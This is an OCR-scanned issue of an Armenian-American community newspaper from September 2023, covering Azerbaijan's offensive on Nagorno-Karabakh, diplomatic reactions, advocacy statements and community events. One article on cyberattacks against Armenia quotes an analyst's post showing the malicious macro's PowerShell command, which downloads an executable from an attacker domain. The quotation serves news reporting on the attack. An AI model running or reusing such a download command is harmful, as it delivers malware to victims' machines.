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PM Pashinyan:
Armenia’s External Security Systems Have
Failed to Safeguard Our National Interests

YEREVAN — In a televised
address to his nation on Sunday, PM
Nikol Pashinyan declared that
Armenia’s defense apparatus has
failed to ensure the country’s na-
tional interests and security in re-
cent years.

“The attacks carried out by
Azerbaijan against the Republic of Ar-
menia in recent years lead to an obvi-
ous conclusion that the external secu-
rity systems in which we are involved
are not effective from the point of
view of the state interests and security
of'the Republic of Armenia,” Pashinyan
said.

He then questioned the role and
motives of the Russian peacekeeper
contingent in Karabakh and said that if
immediate measures aren’t taken to
ensure the safety of Karabakh Arme-

nians they will be left with no alterna-
tive but to leave their historic home-
land given Azerbaijan’s policy of eth-
nic cleansing.

“Azerbaijan, which has adopted
the policy of ethnic cleansing, and the
peacekeeping troops of the Russian
Federation in Nagorno-Karabakh would
bear full responsibility for such a course
of events,” he said.

Pashinyan said Armenia is work-
ing with its international partners to
create international mechanisms to
guarantee the rights and security of
Karabakh Armenians, adding that Ar-
menia will accept and care for all those
who chose to leave Karabakh.

In an apparent reference to Rus-
sia, Pashinyan said Armenia has never

Continued on page4

Biden to Pashinyan

United States Strongly Supports the
Sovereignty, Territorial Integrity and
Independence of Armenia

WASHINGTON, DC — The
Administrator of the US International
Development Agency, Samantha
Power, conveyed the letter of US Presi-
dent Joe Biden to Prime Minister Nikol
Pashinyan.

The letter reads:

Dear Mr. Prime Minister,

I send my best wishes to you
and the people of Armenia as you
celebrate your Independence Day.
This year, as we mark this proud
occasion, we are also mourning the
recent loss of life of ethnic Armenians
in Nagorno Karabakh. I have asked
Samantha Power, a key member of
my cabinet, to personally convey to
you the strong support of the United
States and my Administration for
Armenia’s pursuit of a dignified and
durable regional peace that maintains
your sovereignty, independence, ter-
ritorial integrity, and democracy.

Armenia has demonstrated its
commitment to that purpose by en-
gaging in peace talks with Azerbaijan
as well as implementing critical eco-
nomic reforms, improving govern-
ment accountability and strengthen-
ing democratic institutions. I assure
you that the United States will con-
tinue to stand beside Armenia as you
work to strengthen the democracy at
home and seek stability in your neigh-
borhood.

The United States is committed

to work with your government and
addressing humanitarian needs emerg-
ing from the latest violence, which
Administrator Power will discuss with
you in depth. We will also continue to
strengthen our cooperation on energy
diversification, resilience, and secu-
rity, as demonstrated by our recent
military exercises.

Armenia’s rich history has in-
spired nations and people everywhere
to strive for liberty and justice. And the
Armenian-American community con-
tinues to be a source of strength in my
own country. In the year ahead, I hope
to continue to further deepen and
strengthen the bonds between our na-
tions — and our people”.

Armenian Medics Rushed to Karabakh
After Deadly Fuel Depot Blast That Killed
and Injured Hundereds

STEPANAKERT -- Azerbaijanal-
lowed Armenian doctors on Tuesday
to visit Nagorno-Karabakh to treat and
evacuate scores of people injured in
Monday’s powerful explosion at a fuel
depot outside Stepanakert.

Karabakh authorities said at least
20 people were killed and over 270
others seriously injured and hospital-

ized as a result of the explosion. They
appealed for urgent medical aid from
Armenia, saying that Stepanakert’s two
main hospitals cannot to provide ad-
equate care to all victims due to their
limited capacity and lack of medication.

A team of Armenian doctors flew

Continued on page4

Samantha Power:

International Mission Should Be Sent
to Nagorno-Karabakh Immediately

KORNIDZOR — The United
States will provide $11.5 million in
humanitarian assistance to the people
of Nagorno Karabakh, USAID Admin-
istrator Samantah Power told report-
ers in Kornidzor, at the entrance to the
Lanchin corridor.

She said the nine-month block-
ade of the corridor by the government
of Azerbaijan created excruciating hu-
manitarian conditions for the people
living in Nagorno Karabakh.

“Blockages of food, medicine and
supplies created dire shortages inside
Nagorno Karabak. Humanitarian orga-
nizations, independent eyes and ears
were shut out,” she said, adding that
the military attacks o last week have
made the dire situation even worse.

She said they have received dis-
turbing accounts of violence against
civilians (committed by Azerbaijani
soldiers) from eyewitnesses. At the
same time, given the chaotic situation
thathas developed so far and the trauma
that people have experienced, it is nec-

essary to listen to people’s stories to
understand the real situation.
Samantha Power stressed that it
is absolutely critical that humanitarian
organization be granted full and unim-
peded access to the Lachin corridor
and the towns in Nagorno Karabakh.

Continued on page3
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ACA’s Statement on Recent Developments in
Artsakh and the Biden Administration

IN SOLIDARITY WITH

OUR BROTHERS AND
SISTERS OF

ARTSAKH

The indigenous Armenians of
the Republic of Artsakh (Nagorno-
Karabakh) face ethnic cleansing and
genocide by Azerbaijan and its dicta-
torial regime led by Aliyev. Azerbaijan
once again violated the 2020 ceasefire
agreement, in an all-out offensive
strike against Artsakh. Presently, Azeri
forces have surrounded tens of thou-
sands of ethnic Armenians holding
them hostage, depriving them of food,
electricity, and gas. This most recent
effort by Azerbaijan to ethnically
cleanse the region of Armenians, re-
sulted in the targeted shelling of
homes, schools, and hospitals where
at least 12 children were murdered
alongside countless innocent civilians.
These acts were preceded by Aliyev
proclaiming that “our determination,
strength, and mighty fist crushed
[Armenian] skulls.” More recently,
Aliyev stated “[ Armenians] probably
won’t be able to breathe there again.
The job is done.” Contrary to a bind-
ing order by the International Court of
Justice, Azerbaijan has refused to
ensure the unimpeded movement of
persons, vehicles, and cargo along
the only corridor connecting Artsakh
with Armenia. The reasoning behind
Aliyev’s chokehold on the region is
self-evident.

Around the country, Arme-
nian-Americans have taken to peace-
ful protest to bring awareness of
the ongoing atrocities to the citi-
zens and government of the United
States. Shamefully, the US govern-
ment has failed to respond ad-
equately to the atrocities being com-
mitted by the Azerbaijani regime.
Despite the Biden Administration’s
awareness of the unfolding humani-
tarian disaster, the President met
with Azerbaijan’s Foreign Minister
yesterday, tacitly signaling to the
Aliyev regime that it would face no
consequences.

As the self-proclaimed defender
of the free world, the Biden Admin-
istration must fervently combat
Azerbaijan’s mission to ethnically
cleanse the ancient homeland of the
Armenian people. President Biden has
also committed to uphold the territo-
rial sovereignty of all nations, yet the
Armenian people have seen little of
that commitment as Azerbaijan contin-
ues to occupy the internationally rec-

ognized sovereign territory of the Re-
public of Armenia. Recently, U.S. As-
sistant Secretary of State Yuri Kim
said, “the United States will not coun-
tenance any action or effort... to eth-
nically cleanse or commit other atroci-
ties against the Armenian population of
Nagorno-Karabakh. The current hu-
manitarian situation is not acceptable.”
No tenable action has been taken in
furtherance of this claim. The United
States must put these words into ac-
tion and lead the international commu-
nity to impose stringent and lasting
sanctions against Azerbaijan and the
Aliyevregime.

The safety of all Artsakh Arme-
nians is paramount. As Ms. Alice
Wairimu Nderitu, UN Special Adviser
on the Prevention of Genocide re-
ported on September 22,2023, “[ Azeri]
Military action can only contribute to
escalate what is already a tense situa-
tion and to put the civilian population in
the area at risk of violence, including
risk of Genocide and related atrocity
crimes.”

We call upon the United States
government to:

-Implement international pro-
tectorate status for the Republic of
Artsakh.

-Immediately dispatch interna-
tional monitors to Artsakh, the Lachin
Corridor, and border positions between
Armeniaand Azerbaijan.

-Ensure the safe return of displac-
ed Artsakh Armenians.

-Provide direct humanitarian as-
sistance to the Republic of Artsakh
and its citizens.

-Ensure safe/uninterrupted pas-
sage between Artsakh and Armenia.

-Cease all forms of aid and assis-
tance to Azerbaijan.

-Sanction Azerbaijani officials re-
sponsible for facilitating and/or com-
mitting war crimes and genocidal acts.

-Guarantee the self-determina-
tion of indigenous Armenians in the
region and the territorial sovereignty
of Artsakh and Armenia.

The frequently espoused Ameri-
can values and fundamental principles
should not remain empty rhetoric. It is
imperative for the United States to
marshal the free world to safeguard
the people of Artsakh and Armenia.

Armenian Council of America
9/22/2023
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Supporting Armenians Against Azerbaijani
Aggression Act Introduced in House

WASHINGTON, DC - Con-
gressional Caucus on Armenian Is-
sues Co-Chairs Congressman Frank
Pallone, Jr. (NJ-06), David G.
Valadao (CA-22),and Adam B. Schiff
(CA-30) introduced the bipartisan
Supporting Armenians Against
Azerbaijani Aggressions Act. The
comprehensive legislation addresses
Azerbaijan’s unprovoked aggressions
and atrocities against Armenia and
Artsakh (Nagorno-Karabakh), pro-
vides humanitarian assistance to Ar-
menians in dire need, and strength-
ens cooperation between the United
States and Armenia.

The bill specifically authorizes
foreign military financing for Arme-
nia, bolsters American and Armenian
partnerships in the energy, scientific,
and technology sectors, instructs the
Administration to develop a compre-
hensive plan to protect Armenians liv-
ing in Artsakh, and repeals Section 907
of the FREEDOM Support Act that
bans most assistance for Azerbaijan.

“President Aliyev’s genocidal
campaign against the Armenian people
of Artsakh has gone on too long, and it
is past time the United States takes
meaningful action to halt it. This legis-
lation takes a major first step in ad-
dressing the atrocities committed by
his regime and holding him and his
cronies accountable for the death and
destruction they have wrought. It
would also provide the Armenian people
impacted by the conflict with the as-
sistance and security they need to live
safely in their ancient homelands with-
out fear of reprisal from the Azerbaijani
government,” Pallone said. “Addition-
ally, itincludes several positive provi-
sions that seek to grow the U.S.-
Armenia partnership and help
strengthen Armenia’s economy, de-
mocracy, and overall standing in the
region. I look forward to working

with the Senate where a companion
bill has been introduced and get it
across the finish line.”

Azerbaijani President Ilham
Aliyev orchestrated deliberate attacks
and weaponized starvation against the
Armenian population in Artsakh since
December 2022 to force them into
exile. After the most recent attack
earlier this week, the Azerbaijani gov-
ernment has discussed establishing so-
called “humanitarian corridors” that
could be opened for civilians to leave
Nagorno-Karabakh. This is a strategy
meant to further perpetuate their cam-
paign of ethnic cleansing using vio-
lence, hunger, and fear to push these
people out of their homeland.

Armenians have called Nagorno-
Karabakh home for thousands of'years.
The Congressional Caucus on Arme-
nian Issues has consistently called on
the United States to use every diplomatic
tool, including sanctions, to help guaran-
tee their right to remain there. They have
also called on the State Department and
international partners to take immediate
action to halt any further aggressions by
Azerbaijani forces, ensure Armenian ci-
vilians’ safety and security, and provide
critical humanitarian aid to these people
in dire need.

Armenia Was Under Heavy Cyberattack Prior
to Azeri Offensive in NK — Expert

YEREVAN — The Armenia
International Airports and govern-
mental agencies came under heavy
cyberattacks prior to the Azeri at-
tack on Nagorno-Karabakh.

Information security expert
Samvel Martirosyansaid that the at-
tacks happened September 10-19.

Hackers used an MS Word docu-
ment with a virus falsely presented as
a warning by the National Security
Service.

“They spread fake statements
addressed from the NSS, letters to
specific targets, including the airport
and state institutions. The attackers
were very well aware of the Armenian
internal bureaucratic processes, the
ongoing situation,” Martirosyan
warned.

The cyberattacks were clearly
carried out by a serious team, most
likely with links to governments.

“At this moment [ can’t say who
was behind this attack,” he said, add-
ing that there are few countries who
could have done so.

Singapore-based web analyst
Zhixiang Hao also commented on the
cyber-attack on X.

“APT attacks target Armenia.
Attackers forged documents from
the National Security Service of the
Republic of Armenia,There is vba
macro code powershell iwr https://
karabakhtelekom[.com/api/ekeng-
mta.exe -UsebasicParsing -Outfile
C:\users\Public\Downloads\ekeng-
mta.exe,” he posted on X.
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FM Mirzoyan Warns UN of Azerbaijan’s
Policy of Ethnic Cleansing Against Karabakh
and Forcefully Imposing on Armenia an
Extraterritorial Corridor

NEW YORK -- The international
community must intervene to prevent
Azerbaijani from committing genocide
in Nagorno-Karabakh after its latest
military offensive there, Foreign Min-
ister Ararat Mirzoyan told the UN Gen-
eral Assembly late on Saturday.

He also said that Baku may be
planning to attack Armenia as well in
an attempt to open an “extraterritorial
corridor” to Azerbaijan’s Nakhichevan
exclave.

Speaking during a session of the
General Assembly, Mirzoyan again ac-
cused Azerbaijani forces of commit-
ting atrocities as part of ethnic cleans-
ing in Karabakh planned by Baku.

“As I speak today, 30 percent of
the population of Nagorno-Karabakh
is displaced,” he said. “The entire
population of Nagorno-Karabakh re-
mains without any means of subsis-
tence, as just limited humanitarian
assistance has been able to enter into
Nagorno-Karabakh. There is no food,
no medicine, no shelter, no place to
go. People are separated from their
families, terrorized and fear for their
lives.”

“A number of international hu-
man rights organizations, lawyers,
genocide scholars, reputable indepen-
dent experts ... have already charac-
terized the situation on the ground in
Nagorno-Karabakh as a risk of geno-
cide ... Let me draw your attention to
the fact that after its failure of prevent-
ing Genocide in Rwanda, the United
Nations managed to create mecha-
nisms for prevention, thus making
‘never again’ ameaningful pledge. But

today we are at the brink of another
failure,” added Mirzoyan.

He went on to call for an imme-
diate deployment to Karabakh of a UN
mission that would “monitor and as-
sess the human rights, humanitarian
and security situation on the ground.”

“Claims that the United Nations
is not present on the ground, so has no
capacity to verify the situation cannot
be an excuse for inaction,” he said.

Mirzoyan declared in his speech
that “forcefully imposing on Armenia
an extraterritorial corridor, a corridor
that will pass through the territory of
Armenia but will be out of our control,
can be the next target” of Azerbaijan.

"Azerbaijan has a hidden agenda
when it comes to unblocking regional
transport and economic communica-
tions. As a landlocked country, Arme-
niais vitally interested in implementa-
tion of the agreement on the unblock-
ing of all the regional communications
on the basis of sovereignty, national
jurisdiction, equality and reciprocity.
Armeniais along-standing advocate of
the inclusive and equitable transport
connectivity with the view to promote
trade, cooperation and people-to-people
contacts, whereas our neighbors con-
tinue to impose the three decades-long
blockade of Armenia, as part of its
well-established policy of economic
coercion of my country. The so-called
“corridor” logic promoted by Baku
and their hidden and open sponsors is
aimed at undermining the sovereignty
and territorial integrity of Armenia and
justifying its territorial claims" Con-
cluded Mirzoyan.

International Mission Should Be Sent

Continued from page 1

“President Biden sent me here to
meet with Government officious,
NGOs and civilians, families fleeing
Nagorno Karabakh. Many of them fled
their village sunder shelling, and many
that have arrives are suffering from
severe malnutrition, according to doc-
tors,” she said.

“It is absolutely critical that in-
ternational monitors and humanitarian
organizations get access to the people
in Nagorno Karabakh who still have
dire needs,” the USAID Administrator
stressed.

“We know that there are injured
civilians in Nagorno Karabakh thatneed
to be evacuated and it is absolutely
essential that evacuation be facilitated
by the government of Azerbaijan,” she
noted.

Power announced that given the
scale of the needs that the people in
Nagorno Karabakh are facing, the US
will provide $11.5 million in humani-
tarian assistance.

“This assistance will be used to
provide everything from food to so-
cial-psychological support, she said.
It will also be used to contribute to
efforts to reunite families,” she said.
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123 Turkish Scholars Warn of Clear Danger
of Ethnic Cleansing and Genocide Facing
Armenians in Nagorno-Karabakh

123 Turkish intellectuals have
issued a statement warning about the
genocidal policy carried out by
Azerbaijan in Nagorno-Karabakh and
calling on the international community
to take action and prevent new human
tragedy instead of remaining in the role
of an observer.

In the statement provided to
ARMENPRESS, the Turkish scholars
noted that the Azerbaijaniregime, which
has blockaded Nagorno-Karabakh for
nine months, launched military opera-
tions in front of the whole world dur-
ing the UN General Assembly.

“Azerbaijan carried out this at-
tack with explicit support from Tur-
key and Israel, while the whole world
was silently watching what was hap-
pening. There is a clear danger of
ethnic cleansing and genocide,” the
Turkish scholars said in the statement,
emphasizing that former ICC chief
prosecutor M. Ocampo’s warnings
are turning into reality one by one.

The Turkish intellectuals re-
minded that Azerbaijan has been ignor-
ing and disregarding many countries
and international organizations that
were calling for an end to the block-
ade. And now, according to the schol-
ars, there is no sense to expect that the
Baku regime would heed to the calls to
cease hostilities in Nagorno-Karabakh.

“They [Azerbaijan] seek to com-
pletely take control over Nagorno
Karabakh, Artsakh, and exterminate
Armenians from territories where Ar-
menians have lived for centuries, and
in case of resistance simply kill them.
The despotic Azerbaijan’s goal is one —
to end through violence the existence
of Armenians within borders drawn by
force,” reads the statement. The intel-
lectuals noted that just like the Azeris
destroyed the Armenian cemetery in
Julfa, they will erase Armenians and
Armenian trace from Artsakh.

Expressing deep concern over
the developments, the Turkish intel-
lectuals emphasized that the interna-
tional community isn’t doing enough.
“We repeat once more, genocide pre-
vention doesn’t imply to wait for it to
happen and then only intervene. Geno-
cide prevention is first of all taking
active actions. We call on all countries,
led by the UN, all international organi-
zations and the international commu-
nity, to assume an active stance,” reads
the statement.

The scholars called for the evacu-
ation of the civilians who are left as
hostages in the region and provision of

humanitarian aid. “The right of the
people of Nagorno-Karabakh to freely
exercise their right to be a citizen of
any country must be guaranteed.”

Signatories include Taner Akcam,
Baskin Oran, Sait Cetinoglu, Cengiz
Aktar, Aris Nalci, Eren Keskin and
others.

Full list signatories below:

A.Serdar Ko¢gman, Abdullah
Demirbas, Adil Okay, Adnan Cangiider,
Ahmet Hulusi Kirim, Ahmet Konuk,
Akin Birdal, Akin Atauz, Akup Alakus,
Ali Ekber Kaypakkaya, Ali Gokkaya,
Anjel Dikme, Ari Glinter, Aris Nalci,
Armen Korkmaz, Atilla Dirim, Attila
Tuygan, Ayse Hiir, Aziz Tung, Baskin
Oran, Burak Demir, Cengiz Aktar,
Cengiz Giiltekin, Demir S6nmez, Denis
Dreisbusch, Dilek Ak, Din¢ Ding,
Dogan Ozgiiden, Emre Uslu, Enver
Enli, Eren Keskin, Faruk Mizrak, Fatime
Akalin, Fatin Kanat, Fatma Gok, Ferhat
Umruk, Ferit Barut, Feyyaz Kerimo,
Fikret Baskaya, Garo Kaprielyan,
Giilseren Yoleri, Giin Zileli, Giingor
Senkal, Haci Orman, Hakan Tahmaz,
Haldun Ag¢iksozlii, Halil Savda, Hanife
Elmadag, Haydar Dogan, Hosrof
Koletavitoglu, Hovsep Hayreni, Hrant
Kasparyan, Huriye Sahin, Hiiseyin
Habib Taskin, Hiiseyin Karakus,
Hiiseyin Senol, Hiisnii Ondiil, Ilyas
Danyeli, Inan Gedik, Inci Tugsavul,
Ishak Kocabiyik, Jan Beth-Sawoce,
Kasim Ergiin, Kayus Calikman G.,
Kazim Giindogan, Kemal Bilget, Kenan
Yenice, Kuvvet Lordoglu, Leman
Stehn, Lerna Ekmekg¢ioglu, Mahinur
Sasmaz, Mahmut Konuk, Mahmut
Uzun, Mazlum Cetinkaya, Mehmet Ali
Orgun, Mehmet Onur Yilmaz, Mehmet
Tursun, Mehmet Uluisik, Memik
Horuz, Mihail Vasiliadis, Miran Afsar,
Murad Karakas, Murad Mih¢i, Murat
Polat, Necati Abay, Nedim Durmus,
Nevzat Onaran, Nuran Yiice, Nurten
Kirmizigiil, Ohannis Conkar, Onur
Hamzaoglu, Osman Tiftik¢i, Pinar
Omeroglu, Ramazan Gezgin, Recep
Marasli, Sait Cetinoglu, Sarkis Adam,
Selahattin Esmer, Selay Ertem, Sibel
Per¢inel, Sinan Canli, Siileyman
Eryilmaz, Saban Iba, Sanar Yurdatapan,
Senol Karakas, Siar Risvanoglu,
Stikriye Ercan, Siikrii Hamarat, Taner
Akcam, Tufan Sisli, Tuncay Yilmaz,
Ufuk Giines, Ulkii Cevik, Veysi
Sarisozen, Yal¢in Ergilindogan,
Yasemin Balik¢i, Yasemin Congar,
Yildiz Aydin, Zehra Kabasakal Arat,
Zeki Kahraman, Zeliha Ikizer, Ziya
Ozder

Armenian Church Postpones Blessing of the
Holy MuronOver the Situation in Artsakh

ETCHMIADZIN -- The Mother
See of Holy Etchmiadzin has decided
to postpone the Blessing of the Holy
Muron scheduled for October 1 given
the difficult situation created around
Artsakh.

The decision was made at the
meeting of the Supreme Spiritual Coun-
cil chaired by His Holiness Karekin II,

Supreme Patriarch and Catholicos of
All Armenians.

It was also decided to declare
October 1 as a day of nationwide
prayer for Artsakh, on the occasion of
which a special Mass will be per-
formed in the Mother See of Holy
Etchmiatsin and in all churches of
Armenia and the Diaspora.
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"The Hunchakian Revolutionary Party in
Aintab" Presented by Prof. Umit Kurt

PASADENA -- Professor Umit
Kurt presented a talk on "The
Hunchakian Revolutionary Party in
Aintab: Founders, Ideology and Struc-
ture" on Sept. 20th at the Garo
Soghanalian Center in Pasadena.

The presentation was attended
by a large group of diverse community
leaders and members who were in-
trigued by the Professor's vast display
of archival materials and his deep
knowledge of the subject matter.

Massis Publishing Board Mem-
ber Krikor Moloyan delivered the
opening remarks and asked the audi-
ence to take a moment of silence in
honor of our brothers and sisters in
Artsakh.

Mr. Moloyan read a brief biogra-
phy of Prof. Kurt's accolades and
recognized bodies of work prior to
introducing him to the stage. At the
outset, the Professor condemned
Azerbaijan's ethnic cleansing of the
indigenous Armenians of Artsakh

which was met with applause. Prof.
Kurt then delved into the SDHP's po-
litical activities in Aintab including its
structure, key figures, and organizing
capabilities.

Immediately following Professor
Kurt's presentation, was an in-depth
question and answer session, where
audience members asked a variety of
questions ranging from Professor
Kurt's academic interests in Armenian
Studies to his present-day experiences
in Aintab.

At the small reception following
the presentation, Krikor Moloyan com-
mented, "The activities and history of
the SDHP is an unexplored area of
Armenian history and Massis Publish-
ing aims to facilitate such academic
research. We are excited about the
community's enthusiasm and partici-
pation in Professor Kurt's stellar pre-
sentation and have lectures planned
for the near future."

Armenian Medics Rushed to Karabakh

Continued from page 1

to Stepanakert early in the morning
and evacuated the firstinjured Karabakh
Armenians by helicopter hours later.
They were transported to hospitals in
Yerevan. Three more such flights were
carried out in the following hours.

At least 14 patients were admit-
ted to the Yerevan-based National Cen-
ter for Burns and Dermatology in the
afternoon. An ambulance driver there
said more of them are on their way to
the hospital.

“The team of doctors transported
by helicopter from Armenia to
Stepanakert with necessary medicines
and medical supplies are currently in
the medical institutions of the
[Karabakh] republic and together with
local doctors are providing the neces-
sary medical assistance to all the vic-
tims,” read a statement released by
Karabakh health authorities.

Early in the afternoon a convoy of
Armenian ambulances escorted by rep-
resentatives of the International Com-
mittee of the Red Cross (ICRC) left
Armenia for Karabakh through the
Lachin corridor controlled by

Azerbaijani forces. A senior Azerbaijani
official said, meanwhile, that Baku is
ready to open a “medical corridor” to
Karabakh for the ICRC.

The precise cause of the blast
remained unknown. An official in
Stepanakert, Davit Babayan, told RFE/
RL’s Armenian Service that the au-
thorities there believe it was most prob-
ably an accident caused by “negli-
gence.” He said they are hardly in a
position to conduct an investigation
given the ongoing exodus of
Karabakh’s population to Armenia and
Azerbaijan’s takeover of the region.

The blast occurred amid a mass
exodus of Karabakh’s population that
followed last week’s Azerbaijani mili-
tary offensive.

Videos posted on social media
showed a long line of cars parked near
the depot that received large quantities
of gasoline over the weekend for the
first since Baku blocked traffic through
the Lachin corridor last December.
Their owners were apparently waiting
to fuel up and drive to Armenia along
with their families. Thousands of other
Karabakh Armenians fled to Armenia
earlier on Monday.
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“Jerusalem and the Armenians Until
the Ottoman Conquest (1516)”
by Dr. Claude Mutafian

FRESNO -- Dr. Claude Mutafian
will give a presentation on “Jerusalem
and the Armenians until the Ottoman
Conquest (1516)” at 7:00PM on Tues-
day, October 3,2023, in the University
Business Center, Alice Peters Audito-
rium, on the Fresno State campus.

In the four-fold division of the
Old City of Jerusalem, the Christian
and the Armenian Quarters are con-
tiguous but independent. This situa-
tion corresponds to the ancientness
and the importance of the Armenian
presence. Jerusalem has indeed re-
mained a myth for Armenians since the
4th century, when Christianity was
proclaimed a national religion.

The relations of the Armenians
with the Holy City have never ceased,
and they culminated at the time of the
Crusades, which gave the opportunity
to found in Cilicia, at the end of the
11th century, an Armenian State bor-
dering Frankish Syria, which was to
convert into a Kingdom one century
later. Jerusalem was then home to
the seat of an Armenian Patriarchate
and the cultural activity was intense:
inscriptions, sculptures, mosaics,
pieces of goldsmithery, superb manu-
scripts decorated with miniatures
which are among the masterpieces
of Armenian art. Under the rule of
the Mamluks, Armenian culture con-
tinued to flourish in Jerusalem, and
the accounts of European travelers
never omitted a section devoted to
the Armenians.

Today, Jerusalem is the most
important repository of Armenian cul-
ture outside Armenia.

The aim of Dr. Mutafian’s new
book is to present the relations be-
tween Armenia and Jerusalem in their
historical and artistic context. The
abundance of maps and genealogical
charts makes it easy to read. The
iconography plays a fundamental role,
the text being essentially treated as
captions for images, let them be repro-
ductions of miniatures, monuments,
works of art, or manuscript pages of
historians and travelers.

In his talk, Dr. Mutafian will
discuss the Armenians of Jerusalem
and also his new book.

Claude Armen Mutafian is the
son of parents who were survivors of
the 1915 Genocide. His father is the
well-known painter Zareh Mutafian.
His studies lead him towards Math-
ematics, and he taught for more than
40 years in various Universities: Paris,
Princeton, New Jersey, Havana,
Mexico, and Yerevan. His passion has
always been History and he has written
about the Genocide and Karabagh, but
his main field of interest remains the
Medieval period, in particular Cilician
Armenia and its relations with the Cru-
saders and the Mongols. Cilicia at the
Crossroad of Empires was published
in 1988, and the Historical Atlas of
Armenia in 2001.

The lecture is free and open to
the public. Parking is available in Fresno
State Lots P6 and P5, near the Univer-
sity Business Center, 5245 N. Backer
St., Fresno State. A free parking code
can be obtained by contacting the Ar-
menian Studies Program.

The lecture will also be
livestreamed on the Armenian Studies
Program YouTube Channel: https://
bit.ly/armenianstudiesyoutube.

For information about upcoming
Armenian Studies Program presenta-
tions, please follow us on our Facebook
page, @ArmenianStudiesFresnoState
or at the Program website, https://
fresnostate.edu/armenianstudies.

Armenia’s External Security Systems

Continued from page 1

betrayed its “allies” or its obligations
with those allies, adding that some
allies of Armenia have called into ques-
tion the country’s sovereignty and in-
dependence.

“Some of our partners are mak-
ing more and more efforts to expose
our security vulnerabilities, now put-
ting not only our external but also
internal security and stability at risk,
violating the ethics of diplomatic, in-
terstate relations in the process,”
Pashinyan stated.

Pashinyan said his administra-
tion is determined to strengthen
Armenia’s sovereignty and democracy
and called on international partners to
assist in this effort.

Pashinyan said Armenia intends
to ratify the Rome Statute on the Inter-
national Criminal Court (ICC) since it
will serve as an international platform

to strengthen Armenia’s security given
that Armenia-Russiamilitary pacts and
Armenia’s membership in CSTO
weren’t adequate to ensure Armenia’s
security.

He said Armenia’s ratification of
the Rome Statute isn’t directed at
Moscow, but rather serves Armenia’s
national interests.

Pashinyan concluded by saying
Armenia’s citizens must chose whether
to live in a sovereign, independent
country or as “fearful residents of far-
flung province”.

While he didn’t directly refer to
ongoing street protests calling for his
resignation following Azerbaijan’s Sep-
tember 19 military offensive that ef-
fectively cemented Baku’s control over
all of Artsakh, Pashinyan clearly be-
lieves those calling for regime change
are tacitly supporting Moscow’s ef-
forts to undermine Armenia’s inde-
pendence and security.
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